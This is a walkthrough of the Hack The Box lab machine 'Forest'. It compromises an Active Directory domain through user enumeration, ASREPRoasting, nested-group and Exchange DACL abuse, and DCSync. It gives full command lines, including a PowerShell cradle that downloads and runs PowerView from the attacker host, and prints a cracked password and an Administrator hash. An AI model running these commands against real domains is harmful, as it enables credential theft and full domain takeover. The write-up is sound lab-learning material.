PRIMARY CATEGORY → EASY

Summary

  • Kerberos User Enumeration with Kerbrute
  • Unauthenticated Domain Users Enumeration using rpcclient (Null Auth)
  • Listing all Domain Data through anonymous LDAP Bind using ldapsearch
  • ASREPRoast attack and password cracking with hashcat
  • Authenticated extraction of all the domain information with ldapdomaindump.py
  • Bloodhound deployment locally via Docker
  • Performing Domain Data Collection remotely with Bloodhound.py (Bloodhound-ce branch)
  • Users and Groups remote management using net rpc
  • DACL abuse via privileged Exchange Domain Group (Exchange Windows Permissions) with impacket’s dacledit.py
  • DCSync over the domain using impacket’s secretsdump.py
  • Leveraging nested Group Membership with Powerview
  • Same DACL abuse but with Powerview


Setup

Directory creation with the Machine’s Name

mkdir Forest && cd !$

Creation of a Pentesting Folder Structure to store all the information related to the target

mkdir {Data,Scans,Tools}

Recon #1

OS Identification

First, proceed to identify the Target Operative System. This can be done by a simple ping taking into account the TTL Unit

The standard values are →

  • About 64 → Linux
  • About 128 → Windows
ping -c1 10.129.114.75

As mentioned, according to the TTL, It seems that It is a WINDOWS Target

Port Scanning
General Scan

Let’s run a Nmap Scan to check what TCP Ports are opened in the machine

The Scan result is exported in a grepable format for subsequent Port Parsing

nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn --disable-arp-ping -oG forest.allPorts 10.129.114.75

**Open Ports → **

53, 88, 135, 139, 389, 445, 464, 593, 636, 3268, 3269, 5985, 9389, 47001, 49664, 49665, 49666, 49668, 49670, 49676, 49677, 49684, 49698 and 60285
Comprehensive Scan

We can apply a little filter to the forest.allPorts file to extract the ports and conduct a more comprehensive scan on them by extracting the services and their version running on each port and also executing some default scripts to gather more information

Note that this scan is also exported to have evidence at hand

nmap -p$( grep -ioP --color -- '\d{1,5}(?=/open)' forest.allPorts | xargs | sed 's@\s@,@g' ) -sCV -n -Pn --disable-arp-ping -oN forest.targeted 10.129.114.75
139, 445 - SMB

Based on the ports the host has opened, we can nearly ensure that we are facing a DC (Domain Controller)

Therefore, let’s gather some information about the target

nxc smb 10.129.95.210

In the above command we have extracted the host name, the installed OS Version, the domain name and relevant information such as the state of the SMB Signing security mechanism on the SMB Server and if it supports SMBv1

By default, SMB signing is enabled on DCs, this ensures that an operator cannot perform an SMB relay to the DC in order to authenticate as the victim

Since our target may be a WS 2016, we should know that PKINIT Key Trust authentication is supported as of that version, which means an operator could carry out action such as a Shadow Credentials attack through DACL Abuse or a NTLM/Kerberos relay attack

For the time being, let’s add an entry on the /etc/hosts file related to the target’s name and the domain

printf "%s\t%s\t%s\t%s" "10.129.95.210" "forest" "htb.local" "forest.htb.local" >> /etc/hosts

This name resolution is really important when interacting with the target’s KDC, all the Kerberos stuff and so on

Now, we can proceed to list the available shares on the remote target aside from the usual ones such as ADMIN$, SYSVOL, IPC

As we do not have any valid credentials, we could try with a Null Authentication followed by a non-existent and the Guest user

Null Authentication
nxc smb 10.129.95.210 --username '' --password '' --shares
Non-existent user
nxc smb 10.129.95.210 --username 'anyRandomUser' --password '' --shares
Guest Authentication
nxc smb 10.129.95.210 --username 'guest' --password ''

But we get nothing though

  • An ACCESS_DENIED error in NULL Authentication

  • An STATUS_LOGON_FAILURE error as the user we tried does not exist

  • An STATUS_ACCOUNT_DISABLED as the guest account is disabled by default

For the time being, we cannot do anymore here, let’s move on

53 - DNS

If we had valid domain credentials, we could use tools such as adidnsdump to list all the existent records on the DNS Zone related to the domain

Doing so works as any domain user has read access on the child objects of the Domain DNS Zone i.e. all the existent DNS records

However, we currently know that the domain is htb.local, so we could try a DNS Zone transfer against the DC in order to dump all the DNS records

This cannot be carried out by default, but we will try it as follows

dig axfr htb.local @10.129.95.210

But the transfer fails…

88 - Kerberos

In order to perform some kerberos-related attacks such as kerberoasting or asreproast attack, at least it is necessary to have a list with valid users

A solid userlist could be created with ease using some passive or active methods

In this case, since this time we are facing a HTB machine, there is no external data we can gather through OSINT, so an operator could use tools such as kerbrute in order to enumerate valid users according to some Kerberos builting errors

git clone https://github.com/ropnop/kerbrute kerbrute
cd !$ && go build -ldflags "-s -w" .

The above commands are related to kerbrute’s setup. Next, we pass a dictionary from statistically-likely-usernames to kerbrute’s userenum module

kerbrute userenum --dc 10.129.95.210 --domain htb.local /usr/share/statistically-likely-usernames/john.txt

And we found that the following usernames correspond to valid domain user accounts

mark
andy
sebastien
lucinda
santi

With the above data, we can carry out an ASREPRoast attack to check if any of those user accounts have the USER_DONT_RE_PREAUTH flag enabled in the User Account Control attribute

But before that, let’s check if we can gather more information

135 - RPC

On this port is listening the RPC Endpoint Mapper, whose purpose is to map any available RPC Endpoint to a certain dynamic port or namedpipe

We can use a tool such as rpcclient to try to authenticate to the DC without any valid credentials

Just try another Null Authentication to do so

rpcclient --user '' --no-pass forest.htb.local --command 'enumdomusers'

In this case it works, so we can list a bunch of information related to htb.local domain

For the attack we are pursuing, we just need all the user accounts. So, let’s filter the above data to extract only the user accounts

rpcclient --user '' --no-pass forest.htb.local --command 'enumdomusers' | grep -ioP --color -- '^user:\[\K[\w\-_]+(?=\])' > users.list

These are all the existent user accounts on htb.local domain

However, let’s dig a bit more to see if we can gather more data through LDAP

389, 636 - LDAP

Before proceed with any known attack, let’s see if we can carry out an anonymous bind to the LDAP Server

ldapsearch -x -H 'ldap://forest.htb.local' -LLL -b 'dc=htb,dc=local' | head

The anonymous binding was sucessful. We can use the following filter on ldapsearch to extract most of the user accounts

ldapsearch -x -H 'ldap://forest.htb.local' -LLL -b 'dc=htb,dc=local' '(|(ObjectClass=person)(ObjectClass=user))' samAccountName | grep -i -- 'samAccountName'

Exploitation

ASREPRoast Attack

Reference

As mentioned, an operator with a list of valid user accounts belonging to the domain can perform this type of attack using an impacket tool called GetNPUsers.py

GetNPUsers.py -dc-ip forest.htb.local -request -outputfile htb_local.hashes -format hashcat -usersfile ./users.list 'htb.local/'

And we have a match related to svc-alfresco user account

As we indicated an output file on the above command, we can pass the file containing the crackeable hash to hashcat

In this case, the hash type for the provided hash is 18200. However, remember that anyone can use the following command to search for an specific hash type

hashcat --example-hashes | less

Therefore, just proceed as follows →

hashcat --force -O --attack-mode 0 --hash-type 18200 htb_local.hashes /usr/share/wordlists/rockyou.txt

So, the password is s3rvice

We can validate it using netexec

nxc smb forest.htb.local --username 'svc-alfresco' --password 's3rvice'

Recon #2

Once we have valid domain credentials, as is the case, the game begins 😈

Before deploying Bloodhound, let’s use ldapdomaindump to extract all the relevant information about the domain such as users, groups, GPOs, computers and so on

git clone https://github.com/dirkjanm/ldapdomaindump ldapdomaindump
cd !$ && python3 -m venv .venv
. !$/bin/activate && pip3 install -r requirements.txt
mkdir htb_local.data
cd !$ && python3 ldapdomaindump.py --user 'htb.local\svc-alfresco' --password 's3rvice' --no-json --no-grep 'forest.htb.local'

Next, build an HTTP Server as follows and browse the data

python3 -m http.server 80

Zoom in

The interesting part lies on the domain_users_by_group.html file

Let’s link the data in order to look for any possible privesc vector

  • SVC-Alfresco user account belongs to the Service Accounts Group

  • Service Accounts group belongs to Privileged IT Accounts

Zoom in

Zoom in

  • Privileged IT Accounts group is member of Remote Management Users and Accounts Operators groups

This tells us many things

First, we can establish a WinRM Session via Powershell Remoting (MS-PSRP) using evil-winrm as svc-alfresco belongs indirectly to RMU and Account Operators groups due to nested group membership

Members of both groups are allowed to establish a remote connection via WinRM with the Domain Controller

Next, since we belong to the Accounts Operators group, we are able to create any user account and manage most of the groups membership, except for high privilege user and groups such as →

Group
Domain Admins
Schema Admins
Enterprise Admins
Server Operators
Account Operators
Backup Operators
Print Operators

So, we cannot directly add a user that we create to those privileged groups, which would be an easy win

But, an attacker can leverage certain groups for privilege scalation

One of these groups is the DNS Admins

Another group, if Exchange installed, is the Exchange Windows Permissions group

In this case, it seems that Microsoft Exchange was deployed ealier on this DC, so we can proceed as follows

It is known that most of the Exchange groups created on an AD environment have certain privileges on the domain object and so on

By default, Exchange Windows Permissions group has WriteDACL right over the Domain Object, identified as “dc=local,dc=htb”

Therefore, an attacker who controls a user account belonging to that group could grant itself FullControl or DCSync-related rights over the domain, compromising it entirely

This privesc vector can easily be extracted from Bloodhound

For that purpose, according to these instructions, proceed as follows

mkdir Bloodhound
cd !$ wget https://github.com/SpecterOps/bloodhound-cli/releases/latest/download/bloodhound-cli-linux-amd64.tar.gz
tar -xvzf bloodhound-cli-linux-amd64.tar.gz && ./bloodhound-cli install

After this, all the necessary bloodhound-related docker containers are deployed and ready to be used

docker ps --all

As is already known, the Bloodhound framework needs certain data to be ingested in order to start building relationships between domain objects and so on

So first, it is necessary to run either Sharphound from the target or Bloodhound.py remotely

This time, we will try the second option

As we have deployed Bloodhound CE, it is necessary to change to the Bloodhound CE branch after cloning Bloodhound.py repository

git clone https://github.com/dirkjanm/BloodHound.py Bloodhound_py
cd !$ git checkout bloodhound-ce
python3 -m venv .venv
. !$/bin/activate && pip3 install .

After above setup, extract all data as follows

python3 bloodhound.py --collectionmethod All --domain 'htb.local' --username 'svc-alfresco' --password 's3rvice' --nameserver 10.129.95.210 --domain-controller forest.htb.local --zip

Then, just upload the created zip file to Bloodhound CE

Zoom in

Once there, mark the SVC-Alfresco user account as owned and run a Saved Query such as Shortest path to Domain Admin

Zoom in

The workflow here would be →

SVC-Alfresco (User) → Service Accounts (Group) → Privileged IT Accounts (Group) → Account Operators (Group) → Exchange Windows Permissions (Group) → HTB.local (Domain)


Privesc

Initial Non-Privileged User → svc-alfresco

DCSync via DACL Abuse leveraging Nested Group Membership (Exchange Groups)
From Linux

From the attacker ⚔️

As mentioned, SVC-Alfresco user is member of the Account Operators domain-builtin group. Therefore, we authenticate as this user to the domain in order to create a new user account

This time we have the domain account password, so we can use the Samba Suite Net Tool. However, if an attacker only has its NT hash, the following task can be accomplished using pth-toolkit

net rpc user add '4l3xbb' '4l3xbb' -U 'htb.local/svc-alfresco%s3rvice' -S 'forest.htb.local'

Next, we need to add the created user account to the Exchange Windows Permissions group in order to have WriteDACL rights over the Domain Object i.e. htb.local

net rpc group addmem "Exchange Windows Permissions" "4l3xbb" -U 'htb.local/svc-alfresco%s3rvice' -S 'forest.htb.local'

The membership of the user account on the above Exchange group can be as follows

net rpc group members 'Exchange Windows Permissions' -U 'htb.local/svc-alfresco%s3rvice' -S 'forest.htb.local'

After that, we perform DACL Abuse by granting ourselves with DCSync rights over the domain object

DACLEdit.py

dacledit.py -dc-ip 'forest.htb.local' -principal '4l3xbb' -target-dn 'dc=htb,dc=local' -action write -rights 'DCSync' 'htb.local/4l3xbb:password123$!'

We check that DS-Replication-Get-Changes and DS-Replication-Get-Changes-All rights exist for the created user account over htb.local

dacledit.py -dc-ip 'forest.htb.local' -principal '4l3xbb' -target-dn 'dc=htb,dc=local' -action read 'htb.local/svc-alfresco:s3rvice'

With all the above tasks carried out, it only remains to perform the DCSync attack using Impacket’s secretsdump.py

secretsdump.py -just-dc-user 'Administrator' 'htb.local/4l3xbb:password123$!@forest.htb.local'

Once the above attack is performed, it is recommended to carry out a DACL cleanup by removing the DCSync rights assigned to the created user account

dacledit.py -dc-ip 'forest.htb.local' -principal '4l3xbb' -target-dn 'dc=htb,dc=local' -action remove -rights 'DCSync' 'htb.local/4l3xbb:password1234$!'

And that’s all, use the above NT Hash or AES Keys to perform PtH or PtK and establish a remote connection to the DC as the Administrator user through WinRM

evil-winrm --ip 'forest.htb.local' --user 'Administrator' --hash '32693b11e6aa90eb43d32c72a07ceea6'
PS > whoami
From Windows

From the target 🎯

The steps to be taken are the same as here

Due to OPSEC reasons, we will create the user account and add it to the Exchange Windows Permissions group using Powerview instead of the net.exe utility from Windows

In order to use all functionality provided by Powerview on the target, just establish a remote session via WinRM as SVC-Alfresco to the target and download the script from there

evil-winrm --ip 'forest.htb.local' --user 'svc-alfresco' --password 's3rvice'
  • From the Attacker ⚔️
curl --silent --location --request GET "https://github.com/PowerShellMafia/PowerSploit/raw/refs/heads/master/Recon/PowerView.ps1" --remote-name
python3 -m http.server 80
  • From the Target 🎯
IEX (New-Object Net.WebClient).downloadString('http://10.10.16.37/PowerView.ps1')

With the above steps completed, simply create the user account and add it to the mentioned group as follows

User creation

$pass = ConvertTo-SecureString -AsPlainText -Force -String 'password1234$!'
New-DomainUser -SamAccountName '4l3xbb' -AccountPassword $pass

Adding created user to Exchange Windows Permissions Group

Add-DomainGroupMember -Identity 'Exchange Windows Permissions' -Members '4l3xbb'

Check if the user now belongs to that group

Get-DomainGroupMember -Identity 'Exchange Windows Permissions'

Next, we grant DCSync rights to the user account over the domain object

First, create again a password object followed by a credential object

$pass = ConvertTo-SecureString -AsPlainText -Force -String 'password1234$!'
$cred = New-Object System.Management.Automation.PSCredential('htb.local\4l3xbb', $pass)

Then, create the DCSync-related ACEs over htb.local for 4l3xbb UPN

Add-DomainObjectACL -Credential $cred -PrincipalIdentity '4l3xbb' -TargetIdentity 'htb.local' -Rights DCSync

Validate it as follows

$sid = Get-DomainUser '4l3xbb' | Select-Object -ExpandProperty objectsid
Get-DomainObjectACL 'dc=htb,dc=local' -ResolveGUIDs -ErrorAction SilentlyContinue | Where-Object { $_.SecurityIdentifier -eq $sid }

From here, an actor could use secretsdump.py in order to dump all domain credentials remotely or upload a mimikatz.exe binary to the DCto carry out the same action

  • Secretsdump.py

From the Attacker⚔️

secretsdump.py -just-dc-user Administrator 'htb.local/4l3xbb:password1234$!@forest.htb.local'
  • Mimikatz

From the Target 🎯

.\mimikatz.exe 'lsadump::dcsync /domain:htb.local /user:Administrator' exit